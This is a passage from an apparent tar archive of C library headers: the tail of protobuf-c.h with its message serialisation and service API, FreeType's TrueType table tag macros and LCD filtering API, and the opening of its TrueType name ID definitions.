uint32_t tag; /** The wire type of the field. */ ProtobufCWireType wire_type; /** Number of bytes in `data`. */ size_t len; /** Field data. */ uint8_t *data; }; /** * Method descriptor. */ struct ProtobufCMethodDescriptor { /** Method name. */ const char *name; /** Input message descriptor. */ const ProtobufCMessageDescriptor *input; /** Output message descriptor. */ const ProtobufCMessageDescriptor *output; }; /** * Service. */ struct ProtobufCService { /** Service descriptor. */ const ProtobufCServiceDescriptor *descriptor; /** Function to invoke the service. */ void (*invoke)(ProtobufCService *service, unsigned method_index, const ProtobufCMessage *input, ProtobufCClosure closure, void *closure_data); /** Function to destroy the service. */ void (*destroy)(ProtobufCService *service); }; /** * Service descriptor. */ struct ProtobufCServiceDescriptor { /** Magic value checked to ensure that the API is used correctly. */ uint32_t magic; /** Service name. */ const char *name; /** Short version of service name. */ const char *short_name; /** C identifier for the service name. */ const char *c_name; /** Package name. */ const char *package; /** Number of elements in `methods`. */ unsigned n_methods; /** Method descriptors, in the order defined in the .proto file. */ const ProtobufCMethodDescriptor *methods; /** Sort index of methods. */ const unsigned *method_indices_by_name; }; /** * Get the version of the protobuf-c library. Note that this is the version of * the library linked against, not the version of the headers compiled against. * * \return A string containing the version number of protobuf-c. */ PROTOBUF_C__API const char * protobuf_c_version(void); /** * Get the version of the protobuf-c library. Note that this is the version of * the library linked against, not the version of the headers compiled against. * * \return A 32 bit unsigned integer containing the version number of * protobuf-c, represented in base-10 as (MAJOR*1E6) + (MINOR*1E3) + PATCH. */ PROTOBUF_C__API uint32_t protobuf_c_version_number(void); /** * The version of the protobuf-c headers, represented as a string using the same * format as protobuf_c_version(). */ #define PROTOBUF_C_VERSION "1.3.0" /** * The version of the protobuf-c headers, represented as an integer using the * same format as protobuf_c_version_number(). */ #define PROTOBUF_C_VERSION_NUMBER 1003000 /** * The minimum protoc-c version which works with the current version of the * protobuf-c headers. */ #define PROTOBUF_C_MIN_COMPILER_VERSION 1000000 /** * Look up a `ProtobufCEnumValue` from a `ProtobufCEnumDescriptor` by name. * * \param desc * The `ProtobufCEnumDescriptor` object. * \param name * The `name` field from the corresponding `ProtobufCEnumValue` object to * match. * \return * A `ProtobufCEnumValue` object. * \retval NULL * If not found or if the optimize_for = CODE_SIZE option was set. */ PROTOBUF_C__API const ProtobufCEnumValue * protobuf_c_enum_descriptor_get_value_by_name( const ProtobufCEnumDescriptor *desc, const char *name); /** * Look up a `ProtobufCEnumValue` from a `ProtobufCEnumDescriptor` by numeric * value. * * \param desc * The `ProtobufCEnumDescriptor` object. * \param value * The `value` field from the corresponding `ProtobufCEnumValue` object to * match. * * \return * A `ProtobufCEnumValue` object. * \retval NULL * If not found. */ PROTOBUF_C__API const ProtobufCEnumValue * protobuf_c_enum_descriptor_get_value( const ProtobufCEnumDescriptor *desc, int value); /** * Look up a `ProtobufCFieldDescriptor` from a `ProtobufCMessageDescriptor` by * the name of the field. * * \param desc * The `ProtobufCMessageDescriptor` object. * \param name * The name of the field. * \return * A `ProtobufCFieldDescriptor` object. * \retval NULL * If not found or if the optimize_for = CODE_SIZE option was set. */ PROTOBUF_C__API const ProtobufCFieldDescriptor * protobuf_c_message_descriptor_get_field_by_name( const ProtobufCMessageDescriptor *desc, const char *name); /** * Look up a `ProtobufCFieldDescriptor` from a `ProtobufCMessageDescriptor` by * the tag value of the field. * * \param desc * The `ProtobufCMessageDescriptor` object. * \param value * The tag value of the field. * \return * A `ProtobufCFieldDescriptor` object. * \retval NULL * If not found. */ PROTOBUF_C__API const ProtobufCFieldDescriptor * protobuf_c_message_descriptor_get_field( const ProtobufCMessageDescriptor *desc, unsigned value); /** * Determine the number of bytes required to store the serialised message. * * \param message * The message object to serialise. * \return * Number of bytes. */ PROTOBUF_C__API size_t protobuf_c_message_get_packed_size(const ProtobufCMessage *message); /** * Serialise a message from its in-memory representation. * * This function stores the serialised bytes of the message in a pre-allocated * buffer. * * \param message * The message object to serialise. * \param[out] out * Buffer to store the bytes of the serialised message. This buffer must * have enough space to store the packed message. Use * protobuf_c_message_get_packed_size() to determine the number of bytes * required. * \return * Number of bytes stored in `out`. */ PROTOBUF_C__API size_t protobuf_c_message_pack(const ProtobufCMessage *message, uint8_t *out); /** * Serialise a message from its in-memory representation to a virtual buffer. * * This function calls the `append` method of a `ProtobufCBuffer` object to * consume the bytes generated by the serialiser. * * \param message * The message object to serialise. * \param buffer * The virtual buffer object. * \return * Number of bytes passed to the virtual buffer. */ PROTOBUF_C__API size_t protobuf_c_message_pack_to_buffer( const ProtobufCMessage *message, ProtobufCBuffer *buffer); /** * Unpack a serialised message into an in-memory representation. * * \param descriptor * The message descriptor. * \param allocator * `ProtobufCAllocator` to use for memory allocation. May be NULL to * specify the default allocator. * \param len * Length in bytes of the serialised message. * \param data * Pointer to the serialised message. * \return * An unpacked message object. * \retval NULL * If an error occurred during unpacking. */ PROTOBUF_C__API ProtobufCMessage * protobuf_c_message_unpack( const ProtobufCMessageDescriptor *descriptor, ProtobufCAllocator *allocator, size_t len, const uint8_t *data); /** * Free an unpacked message object. * * This function should be used to deallocate the memory used by a call to * protobuf_c_message_unpack(). * * \param message * The message object to free. May be NULL. * \param allocator * `ProtobufCAllocator` to use for memory deallocation. May be NULL to * specify the default allocator. */ PROTOBUF_C__API void protobuf_c_message_free_unpacked( ProtobufCMessage *message, ProtobufCAllocator *allocator); /** * Check the validity of a message object. * * Makes sure all required fields (`PROTOBUF_C_LABEL_REQUIRED`) are present. * Recursively checks nested messages. * * \retval TRUE * Message is valid. * \retval FALSE * Message is invalid. */ PROTOBUF_C__API protobuf_c_boolean protobuf_c_message_check(const ProtobufCMessage *); /** Message initialiser. */ #define PROTOBUF_C_MESSAGE_INIT(descriptor) { descriptor, 0, NULL } /** * Initialise a message object from a message descriptor. * * \param descriptor * Message descriptor. * \param message * Allocated block of memory of size `descriptor->sizeof_message`. */ PROTOBUF_C__API void protobuf_c_message_init( const ProtobufCMessageDescriptor *descriptor, void *message); /** * Free a service. * * \param service * The service object to free. */ PROTOBUF_C__API void protobuf_c_service_destroy(ProtobufCService *service); /** * Look up a `ProtobufCMethodDescriptor` by name. * * \param desc * Service descriptor. * \param name * Name of the method. * * \return * A `ProtobufCMethodDescriptor` object. * \retval NULL * If not found or if the optimize_for = CODE_SIZE option was set. */ PROTOBUF_C__API const ProtobufCMethodDescriptor * protobuf_c_service_descriptor_get_method_by_name( const ProtobufCServiceDescriptor *desc, const char *name); /** * Initialise a `ProtobufCBufferSimple` object. */ #define PROTOBUF_C_BUFFER_SIMPLE_INIT(array_of_bytes) \ { \ { protobuf_c_buffer_simple_append }, \ sizeof(array_of_bytes), \ 0, \ (array_of_bytes), \ 0, \ NULL \ } /** * Clear a `ProtobufCBufferSimple` object, freeing any allocated memory. */ #define PROTOBUF_C_BUFFER_SIMPLE_CLEAR(simp_buf) \ do { \ if ((simp_buf)->must_free_data) { \ if ((simp_buf)->allocator != NULL) \ (simp_buf)->allocator->free( \ (simp_buf)->allocator, \ (simp_buf)->data); \ else \ free((simp_buf)->data); \ } \ } while (0) /** * The `append` method for `ProtobufCBufferSimple`. * * \param buffer * The buffer object to append to. Must actually be a * `ProtobufCBufferSimple` object. * \param len * Number of bytes in `data`. * \param data * Data to append. */ PROTOBUF_C__API void protobuf_c_buffer_simple_append( ProtobufCBuffer *buffer, size_t len, const unsigned char *data); PROTOBUF_C__API void protobuf_c_service_generated_init( ProtobufCService *service, const ProtobufCServiceDescriptor *descriptor, ProtobufCServiceDestroy destroy); PROTOBUF_C__API void protobuf_c_service_invoke_internal( ProtobufCService *service, unsigned method_index, const ProtobufCMessage *input, ProtobufCClosure closure, void *closure_data); /**@}*/ PROTOBUF_C__END_DECLS #endif /* PROTOBUF_C_H */ freetype2/freetype/tttags.h 0000644 00000013003 15246445047 0011763 0 ustar 00 /***************************************************************************/ /* */ /* tttags.h */ /* */ /* Tags for TrueType and OpenType tables (specification only). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef TTAGS_H_ #define TTAGS_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER #define TTAG_avar FT_MAKE_TAG( 'a', 'v', 'a', 'r' ) #define TTAG_BASE FT_MAKE_TAG( 'B', 'A', 'S', 'E' ) #define TTAG_bdat FT_MAKE_TAG( 'b', 'd', 'a', 't' ) #define TTAG_BDF FT_MAKE_TAG( 'B', 'D', 'F', ' ' ) #define TTAG_bhed FT_MAKE_TAG( 'b', 'h', 'e', 'd' ) #define TTAG_bloc FT_MAKE_TAG( 'b', 'l', 'o', 'c' ) #define TTAG_bsln FT_MAKE_TAG( 'b', 's', 'l', 'n' ) #define TTAG_CBDT FT_MAKE_TAG( 'C', 'B', 'D', 'T' ) #define TTAG_CBLC FT_MAKE_TAG( 'C', 'B', 'L', 'C' ) #define TTAG_CFF FT_MAKE_TAG( 'C', 'F', 'F', ' ' ) #define TTAG_CFF2 FT_MAKE_TAG( 'C', 'F', 'F', '2' ) #define TTAG_CID FT_MAKE_TAG( 'C', 'I', 'D', ' ' ) #define TTAG_cmap FT_MAKE_TAG( 'c', 'm', 'a', 'p' ) #define TTAG_cvar FT_MAKE_TAG( 'c', 'v', 'a', 'r' ) #define TTAG_cvt FT_MAKE_TAG( 'c', 'v', 't', ' ' ) #define TTAG_DSIG FT_MAKE_TAG( 'D', 'S', 'I', 'G' ) #define TTAG_EBDT FT_MAKE_TAG( 'E', 'B', 'D', 'T' ) #define TTAG_EBLC FT_MAKE_TAG( 'E', 'B', 'L', 'C' ) #define TTAG_EBSC FT_MAKE_TAG( 'E', 'B', 'S', 'C' ) #define TTAG_feat FT_MAKE_TAG( 'f', 'e', 'a', 't' ) #define TTAG_FOND FT_MAKE_TAG( 'F', 'O', 'N', 'D' ) #define TTAG_fpgm FT_MAKE_TAG( 'f', 'p', 'g', 'm' ) #define TTAG_fvar FT_MAKE_TAG( 'f', 'v', 'a', 'r' ) #define TTAG_gasp FT_MAKE_TAG( 'g', 'a', 's', 'p' ) #define TTAG_GDEF FT_MAKE_TAG( 'G', 'D', 'E', 'F' ) #define TTAG_glyf FT_MAKE_TAG( 'g', 'l', 'y', 'f' ) #define TTAG_GPOS FT_MAKE_TAG( 'G', 'P', 'O', 'S' ) #define TTAG_GSUB FT_MAKE_TAG( 'G', 'S', 'U', 'B' ) #define TTAG_gvar FT_MAKE_TAG( 'g', 'v', 'a', 'r' ) #define TTAG_HVAR FT_MAKE_TAG( 'H', 'V', 'A', 'R' ) #define TTAG_hdmx FT_MAKE_TAG( 'h', 'd', 'm', 'x' ) #define TTAG_head FT_MAKE_TAG( 'h', 'e', 'a', 'd' ) #define TTAG_hhea FT_MAKE_TAG( 'h', 'h', 'e', 'a' ) #define TTAG_hmtx FT_MAKE_TAG( 'h', 'm', 't', 'x' ) #define TTAG_JSTF FT_MAKE_TAG( 'J', 'S', 'T', 'F' ) #define TTAG_just FT_MAKE_TAG( 'j', 'u', 's', 't' ) #define TTAG_kern FT_MAKE_TAG( 'k', 'e', 'r', 'n' ) #define TTAG_lcar FT_MAKE_TAG( 'l', 'c', 'a', 'r' ) #define TTAG_loca FT_MAKE_TAG( 'l', 'o', 'c', 'a' ) #define TTAG_LTSH FT_MAKE_TAG( 'L', 'T', 'S', 'H' ) #define TTAG_LWFN FT_MAKE_TAG( 'L', 'W', 'F', 'N' ) #define TTAG_MATH FT_MAKE_TAG( 'M', 'A', 'T', 'H' ) #define TTAG_maxp FT_MAKE_TAG( 'm', 'a', 'x', 'p' ) #define TTAG_META FT_MAKE_TAG( 'M', 'E', 'T', 'A' ) #define TTAG_MMFX FT_MAKE_TAG( 'M', 'M', 'F', 'X' ) #define TTAG_MMSD FT_MAKE_TAG( 'M', 'M', 'S', 'D' ) #define TTAG_mort FT_MAKE_TAG( 'm', 'o', 'r', 't' ) #define TTAG_morx FT_MAKE_TAG( 'm', 'o', 'r', 'x' ) #define TTAG_MVAR FT_MAKE_TAG( 'M', 'V', 'A', 'R' ) #define TTAG_name FT_MAKE_TAG( 'n', 'a', 'm', 'e' ) #define TTAG_opbd FT_MAKE_TAG( 'o', 'p', 'b', 'd' ) #define TTAG_OS2 FT_MAKE_TAG( 'O', 'S', '/', '2' ) #define TTAG_OTTO FT_MAKE_TAG( 'O', 'T', 'T', 'O' ) #define TTAG_PCLT FT_MAKE_TAG( 'P', 'C', 'L', 'T' ) #define TTAG_POST FT_MAKE_TAG( 'P', 'O', 'S', 'T' ) #define TTAG_post FT_MAKE_TAG( 'p', 'o', 's', 't' ) #define TTAG_prep FT_MAKE_TAG( 'p', 'r', 'e', 'p' ) #define TTAG_prop FT_MAKE_TAG( 'p', 'r', 'o', 'p' ) #define TTAG_sbix FT_MAKE_TAG( 's', 'b', 'i', 'x' ) #define TTAG_sfnt FT_MAKE_TAG( 's', 'f', 'n', 't' ) #define TTAG_SING FT_MAKE_TAG( 'S', 'I', 'N', 'G' ) #define TTAG_trak FT_MAKE_TAG( 't', 'r', 'a', 'k' ) #define TTAG_true FT_MAKE_TAG( 't', 'r', 'u', 'e' ) #define TTAG_ttc FT_MAKE_TAG( 't', 't', 'c', ' ' ) #define TTAG_ttcf FT_MAKE_TAG( 't', 't', 'c', 'f' ) #define TTAG_TYP1 FT_MAKE_TAG( 'T', 'Y', 'P', '1' ) #define TTAG_typ1 FT_MAKE_TAG( 't', 'y', 'p', '1' ) #define TTAG_VDMX FT_MAKE_TAG( 'V', 'D', 'M', 'X' ) #define TTAG_vhea FT_MAKE_TAG( 'v', 'h', 'e', 'a' ) #define TTAG_vmtx FT_MAKE_TAG( 'v', 'm', 't', 'x' ) #define TTAG_VVAR FT_MAKE_TAG( 'V', 'V', 'A', 'R' ) #define TTAG_wOFF FT_MAKE_TAG( 'w', 'O', 'F', 'F' ) /* used by "Keyboard.dfont" on legacy Mac OS X */ #define TTAG_0xA5kbd FT_MAKE_TAG( 0xA5, 'k', 'b', 'd' ) /* used by "LastResort.dfont" on legacy Mac OS X */ #define TTAG_0xA5lst FT_MAKE_TAG( 0xA5, 'l', 's', 't' ) FT_END_HEADER #endif /* TTAGS_H_ */ /* END */ freetype2/freetype/ftlcdfil.h 0000644 00000027547 15246445047 0012266 0 ustar 00 /***************************************************************************/ /* */ /* ftlcdfil.h */ /* */ /* FreeType API for color filtering of subpixel bitmap glyphs */ /* (specification). */ /* */ /* Copyright 2006-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTLCDFIL_H_ #define FTLCDFIL_H_ #include <ft2build.h> #include FT_FREETYPE_H #include FT_PARAMETER_TAGS_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************** * * @section: * lcd_filtering * * @title: * LCD Filtering * * @abstract: * Reduce color fringes of subpixel-rendered bitmaps. * * @description: * Should you #define FT_CONFIG_OPTION_SUBPIXEL_RENDERING in your * `ftoption.h', which enables patented ClearType-style rendering, * the LCD-optimized glyph bitmaps should be filtered to reduce color * fringes inherent to this technology. The default FreeType LCD * rendering uses different technology, and API described below, * although available, does nothing. * * ClearType-style LCD rendering exploits the color-striped structure of * LCD pixels, increasing the available resolution in the direction of * the stripe (usually horizontal RGB) by a factor of~3. Since these * subpixels are color pixels, using them unfiltered creates severe * color fringes. Use the @FT_Library_SetLcdFilter API to specify a * low-pass filter, which is then applied to subpixel-rendered bitmaps * generated through @FT_Render_Glyph. The filter sacrifices some of * the higher resolution to reduce color fringes, making the glyph image * slightly blurrier. Positional improvements will remain. * * A filter should have two properties: * * 1) It should be normalized, meaning the sum of the 5~components * should be 256 (0x100). It is possible to go above or under this * target sum, however: going under means tossing out contrast, going * over means invoking clamping and thereby non-linearities that * increase contrast somewhat at the expense of greater distortion * and color-fringing. Contrast is better enhanced through stem * darkening. * * 2) It should be color-balanced, meaning a filter `{~a, b, c, b, a~}' * where a~+ b~=~c. It distributes the computed coverage for one * subpixel to all subpixels equally, sacrificing some won resolution * but drastically reducing color-fringing. Positioning improvements * remain! Note that color-fringing can only really be minimized * when using a color-balanced filter and alpha-blending the glyph * onto a surface in linear space; see @FT_Render_Glyph. * * Regarding the form, a filter can be a `boxy' filter or a `beveled' * filter. Boxy filters are sharper but are less forgiving of non-ideal * gamma curves of a screen (viewing angles!), beveled filters are * fuzzier but more tolerant. * * Examples: * * - [0x10 0x40 0x70 0x40 0x10] is beveled and neither balanced nor * normalized. * * - [0x1A 0x33 0x4D 0x33 0x1A] is beveled and balanced but not * normalized. * * - [0x19 0x33 0x66 0x4c 0x19] is beveled and normalized but not * balanced. * * - [0x00 0x4c 0x66 0x4c 0x00] is boxily beveled and normalized but not * balanced. * * - [0x00 0x55 0x56 0x55 0x00] is boxy, normalized, and almost * balanced. * * - [0x08 0x4D 0x56 0x4D 0x08] is beveled, normalized and, almost * balanced. * * The filter affects glyph bitmaps rendered through @FT_Render_Glyph, * @FT_Load_Glyph, and @FT_Load_Char. It does _not_ affect the output * of @FT_Outline_Render and @FT_Outline_Get_Bitmap. * * If this feature is activated, the dimensions of LCD glyph bitmaps are * either wider or taller than the dimensions of the corresponding * outline with regard to the pixel grid. For example, for * @FT_RENDER_MODE_LCD, the filter adds 3~subpixels to the left, and * 3~subpixels to the right. The bitmap offset values are adjusted * accordingly, so clients shouldn't need to modify their layout and * glyph positioning code when enabling the filter. * * It is important to understand that linear alpha blending and gamma * correction is critical for correctly rendering glyphs onto surfaces * without artifacts and even more critical when subpixel rendering is * involved. * * Each of the 3~alpha values (subpixels) is independently used to blend * one color channel. That is, red alpha blends the red channel of the * text color with the red channel of the background pixel. The * distribution of density values by the color-balanced filter assumes * alpha blending is done in linear space; only then color artifacts * cancel out. */ /**************************************************************************** * * @enum: * FT_LcdFilter * * @description: * A list of values to identify various types of LCD filters. * * @values: * FT_LCD_FILTER_NONE :: * Do not perform filtering. When used with subpixel rendering, this * results in sometimes severe color fringes. * * FT_LCD_FILTER_DEFAULT :: * The default filter reduces color fringes considerably, at the cost * of a slight blurriness in the output. * * It is a beveled, normalized, and color-balanced five-tap filter * that is more forgiving to screens with non-ideal gamma curves and * viewing angles. Note that while color-fringing is reduced, it can * only be minimized by using linear alpha blending and gamma * correction to render glyphs onto surfaces. The default filter * weights are [0x08 0x4D 0x56 0x4D 0x08]. * * FT_LCD_FILTER_LIGHT :: * The light filter is a variant that is sharper at the cost of * slightly more color fringes than the default one. * * It is a boxy, normalized, and color-balanced three-tap filter that * is less forgiving to screens with non-ideal gamma curves and * viewing angles. This filter works best when the rendering system * uses linear alpha blending and gamma correction to render glyphs * onto surfaces. The light filter weights are * [0x00 0x55 0x56 0x55 0x00]. * * FT_LCD_FILTER_LEGACY :: * This filter corresponds to the original libXft color filter. It * provides high contrast output but can exhibit really bad color * fringes if glyphs are not extremely well hinted to the pixel grid. * In other words, it only works well if the TrueType bytecode * interpreter is enabled *and* high-quality hinted fonts are used. * * This filter is only provided for comparison purposes, and might be * disabled or stay unsupported in the future. * * FT_LCD_FILTER_LEGACY1 :: * For historical reasons, the FontConfig library returns a different * enumeration value for legacy LCD filtering. To make code work that * (incorrectly) forwards FontConfig's enumeration value to * @FT_Library_SetLcdFilter without proper mapping, it is thus easiest * to have another enumeration value, which is completely equal to * `FT_LCD_FILTER_LEGACY'. * * @since: * 2.3.0 (`FT_LCD_FILTER_LEGACY1' since 2.6.2) */ typedef enum FT_LcdFilter_ { FT_LCD_FILTER_NONE = 0, FT_LCD_FILTER_DEFAULT = 1, FT_LCD_FILTER_LIGHT = 2, FT_LCD_FILTER_LEGACY1 = 3, FT_LCD_FILTER_LEGACY = 16, FT_LCD_FILTER_MAX /* do not remove */ } FT_LcdFilter; /************************************************************************** * * @func: * FT_Library_SetLcdFilter * * @description: * This function is used to apply color filtering to LCD decimated * bitmaps, like the ones used when calling @FT_Render_Glyph with * @FT_RENDER_MODE_LCD or @FT_RENDER_MODE_LCD_V. * * @input: * library :: * A handle to the target library instance. * * filter :: * The filter type. * * You can use @FT_LCD_FILTER_NONE here to disable this feature, or * @FT_LCD_FILTER_DEFAULT to use a default filter that should work * well on most LCD screens. * * @return: * FreeType error code. 0~means success. * * @note: * This feature is always disabled by default. Clients must make an * explicit call to this function with a `filter' value other than * @FT_LCD_FILTER_NONE in order to enable it. * * Due to *PATENTS* covering subpixel rendering, this function doesn't * do anything except returning `FT_Err_Unimplemented_Feature' if the * configuration macro FT_CONFIG_OPTION_SUBPIXEL_RENDERING is not * defined in your build of the library, which should correspond to all * default builds of FreeType. * * @since: * 2.3.0 */ FT_EXPORT( FT_Error ) FT_Library_SetLcdFilter( FT_Library library, FT_LcdFilter filter ); /************************************************************************** * * @func: * FT_Library_SetLcdFilterWeights * * @description: * This function can be used to enable LCD filter with custom weights, * instead of using presets in @FT_Library_SetLcdFilter. * * @input: * library :: * A handle to the target library instance. * * weights :: * A pointer to an array; the function copies the first five bytes and * uses them to specify the filter weights. * * @return: * FreeType error code. 0~means success. * * @note: * Due to *PATENTS* covering subpixel rendering, this function doesn't * do anything except returning `FT_Err_Unimplemented_Feature' if the * configuration macro FT_CONFIG_OPTION_SUBPIXEL_RENDERING is not * defined in your build of the library, which should correspond to all * default builds of FreeType. * * LCD filter weights can also be set per face using @FT_Face_Properties * with @FT_PARAM_TAG_LCD_FILTER_WEIGHTS. * * @since: * 2.4.0 */ FT_EXPORT( FT_Error ) FT_Library_SetLcdFilterWeights( FT_Library library, unsigned char *weights ); /* * @type: * FT_LcdFiveTapFilter * * @description: * A typedef for passing the five LCD filter weights to * @FT_Face_Properties within an @FT_Parameter structure. * * @since: * 2.8 * */ #define FT_LCD_FILTER_FIVE_TAPS 5 typedef FT_Byte FT_LcdFiveTapFilter[FT_LCD_FILTER_FIVE_TAPS]; /* */ FT_END_HEADER #endif /* FTLCDFIL_H_ */ /* END */ freetype2/freetype/ttnameid.h 0000644 00000165056 15246445047 0012302 0 ustar 00 /***************************************************************************/ /* */ /* ttnameid.h */ /* */ /* TrueType name ID definitions (specification only). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef TTNAMEID_H_ #define TTNAMEID_H_ #include <ft2build.h> FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* truetype_tables */ /* */ /*************************************************************************/ /* */ /* Possible values for the `platform' identifier code in the name */ /* records of an SFNT `name' table. */ /* */ /*************************************************************************/ /*********************************************************************** * * @enum: * TT_PLATFORM_XXX * * @description: * A list of valid values for the `platform_id' identifier code in * @FT_CharMapRec and @FT_SfntName structures. * * @values: * TT_PLATFORM_APPLE_UNICODE :: * Used by Apple to indicate a Unicode character map and/or name entry. * See @TT_APPLE_ID_XXX for corresponding `encoding_id' values. Note * that name entries in this format are coded as big-endian UCS-2 * character codes _only_. * * TT_PLATFORM_MACINTOSH :: * Used by Apple to indicate a MacOS-specific charmap and/or name entry. * See @TT_MAC_ID_XXX for corresponding `encoding_id' values. Note that * most TrueType fonts contain an Apple roman charmap to be usable on * MacOS systems (even if they contain a Microsoft charmap as well). * * TT_PLATFORM_ISO :: * This value was used to specify ISO/IEC 10646 charmaps. It is however * now deprecated. See @TT_ISO_ID_XXX for a list of corresponding * `encoding_id' values. * * TT_PLATFORM_MICROSOFT :: * Used by Microsoft to indicate Windows-specific charmaps. See * @TT_MS_ID_XXX for a list of corresponding `encoding_id' values. * Note that most fonts contain a Unicode charmap using * (TT_PLATFORM_MICROSOFT, @TT_MS_ID_UNICODE_CS). * * TT_PLATFORM_CUSTOM :: * Used to indicate application-specific charmaps. * * TT_PLATFORM_ADOBE :: * This value isn't part of any font format specification, but is used * by FreeType to report Adobe-specific charmaps in an @FT_CharMapRec * structure. See @TT_ADOBE_ID_XXX. */ #define TT_PLATFORM_APPLE_UNICODE 0 #define TT_PLATFORM_MACINTOSH 1 #define TT_PLATFORM_ISO 2 /* deprecated */ #define TT_PLATFORM_MICROSOFT 3 #define TT_PLATFORM_CUSTOM 4 #define TT_PLATFORM_ADOBE 7 /* artificial */ /*********************************************************************** * * @enum: * TT_APPLE_ID_XXX * * @description: * A list of valid values for the `encoding_id' for * @TT_PLATFORM_APPLE_UNICODE charmaps and name entries. * * @values: * TT_APPLE_ID_DEFAULT :: * Unicode version 1.0. * * TT_APPLE_ID_UNICODE_1_1 :: * Unicode 1.1; specifies Hangul characters starting at U+34xx. * * TT_APPLE_ID_ISO_10646 :: * Deprecated (identical to preceding). * * TT_APPLE_ID_UNICODE_2_0 :: * Unicode 2.0 and beyond (UTF-16 BMP only). * * TT_APPLE_ID_UNICODE_32 :: * Unicode 3.1 and beyond, using UTF-32. * * TT_APPLE_ID_VARIANT_SELECTOR :: * From Adobe, not Apple. Not a normal cmap. Specifies variations * on a real cmap. * * TT_APPLE_ID_FULL_UNICODE :: * Used for fallback fonts that provide complete Unicode coverage with * a type~13 cmap. */ #define TT_APPLE_ID_DEFAULT 0 /* Unicode 1.0 */ #define TT_APPLE_ID_UNICODE_1_1 1 /* specify Hangul at U+34xx */ #define TT_APPLE_ID_ISO_10646 2 /* deprecated */ #define TT_APPLE_ID_UNICODE_2_0 3 /* or later */ #define TT_APPLE_ID_UNICODE_32 4 /* 2.0 or later, full repertoire */ #define TT_APPLE_ID_VARIANT_SELECTOR 5 /* variation selector data */ #define TT_APPLE_ID_FULL_UNICODE 6 /* used with type 13 cmaps */ /*********************************************************************** * * @enum: * TT_MAC_ID_XXX * * @description: * A list of valid values for the `encoding_id' for * @TT_PLATFORM_MACINTOSH charmaps and name entries. */ #define TT_MAC_ID_ROMAN 0 #define TT_MAC_ID_JAPANESE 1 #define TT_MAC_ID_TRADITIONAL_CHINESE 2 #define TT_MAC_ID_KOREAN 3 #define TT_MAC_ID_ARABIC 4 #define TT_MAC_ID_HEBREW 5 #define TT_MAC_ID_GREEK 6 #define TT_MAC_ID_RUSSIAN 7 #define TT_MAC_ID_RSYMBOL 8 #define TT_MAC_ID_DEVANAGARI 9 #define TT_MAC_ID_GURMUKHI 10 #define TT_MAC_ID_GUJARATI 11 #define TT_MAC_ID_ORIYA 12 #define TT_MAC_ID_BENGALI 13 #define TT_MAC_ID_TAMIL 14 #define TT_MAC_ID_TELUGU 15 #define TT_MAC_ID_KANNADA 16 #define TT_MAC_ID_MALAYALAM 17 #define TT_MAC_ID_SINHALESE 18 #define TT_MAC_ID_BURMESE 19 #define TT_MAC_ID_KHMER 20 #define TT_MAC_ID_THAI 21 #define TT_MAC_ID_LAOTIAN 22 #define TT_MAC_ID_GEORGIAN 23 #define TT_MAC_ID_ARMENIAN 24 #define TT_MAC_ID_MALDIVIAN 25 #define TT_MAC_ID_SIMPLIFIED_CHINESE 25 #define TT_MAC_ID_TIBETAN 26 #define TT_MAC_ID_MONGOLIAN 27 #define TT_MAC_ID_GEEZ 28 #define TT_MAC_ID_SLAVIC 29 #define TT_MAC_ID_VIETNAMESE 30 #define TT_MAC_ID_SINDHI 31 #define TT_MAC_ID_UNINTERP 32 /*********************************************************************** * * @enum: * TT_ISO_ID_XXX * * @description: * A list of valid values for the `encoding_id' for * @TT_PLATFORM_ISO charmaps and name entries. * * Their use is now deprecated. * * @values: * TT_ISO_ID_7BIT_ASCII :: * ASCII. * TT_ISO_ID_10646 :: * ISO/10646. * TT_ISO_ID_8859_1 :: * Also known as Latin-1. */ #define TT_ISO_ID_7BIT_ASCII 0 #define TT_ISO_ID_10646 1 #define TT_ISO_ID_8859_1 2 /*********************************************************************** * * @enum: * TT_MS_ID_XXX * * @description: * A list of valid values for the `encoding_id' for * @TT_PLATFORM_MICROSOFT charmaps and name entries. * * @values: * TT_MS_ID_SYMBOL_CS :: * Microsoft symbol encoding. See @FT_ENCODING_MS_SYMBOL. * * TT_MS_ID_UNICODE_CS :: * Microsoft WGL4 charmap, matching Unicode. See * @FT_ENCODING_UNICODE. * * TT_MS_ID_SJIS :: * Shift JIS Japanese encoding. See @FT_ENCODING_SJIS. * * TT_MS_ID_PRC :: * Chinese encodings as used in the People's Republic of China (PRC). * This means the encodings GB~2312 and its supersets GBK and * GB~18030. See @FT_ENCODING_PRC. * * TT_MS_ID_BIG_5 :: * Traditional Chinese as used in Taiwan and Hong Kong. See * @FT_ENCODING_BIG5. * * TT_MS_ID_WANSUNG :: * Korean Extended Wansung encoding. See @FT_ENCODING_WANSUNG. * * TT_MS_ID_JOHAB :: * Korean Johab encoding. See @FT_ENCODING_JOHAB. * * TT_MS_ID_UCS_4 :: * UCS-4 or UTF-32 charmaps. This has been added to the OpenType * specification version 1.4 (mid-2001). */ #define TT_MS_ID_SYMBOL_CS 0 #define TT_MS_ID_UNICODE_CS 1 #define TT_MS_ID_SJIS 2 #define TT_MS_ID_PRC 3 #define TT_MS_ID_BIG_5 4 #define TT_MS_ID_WANSUNG 5 #define 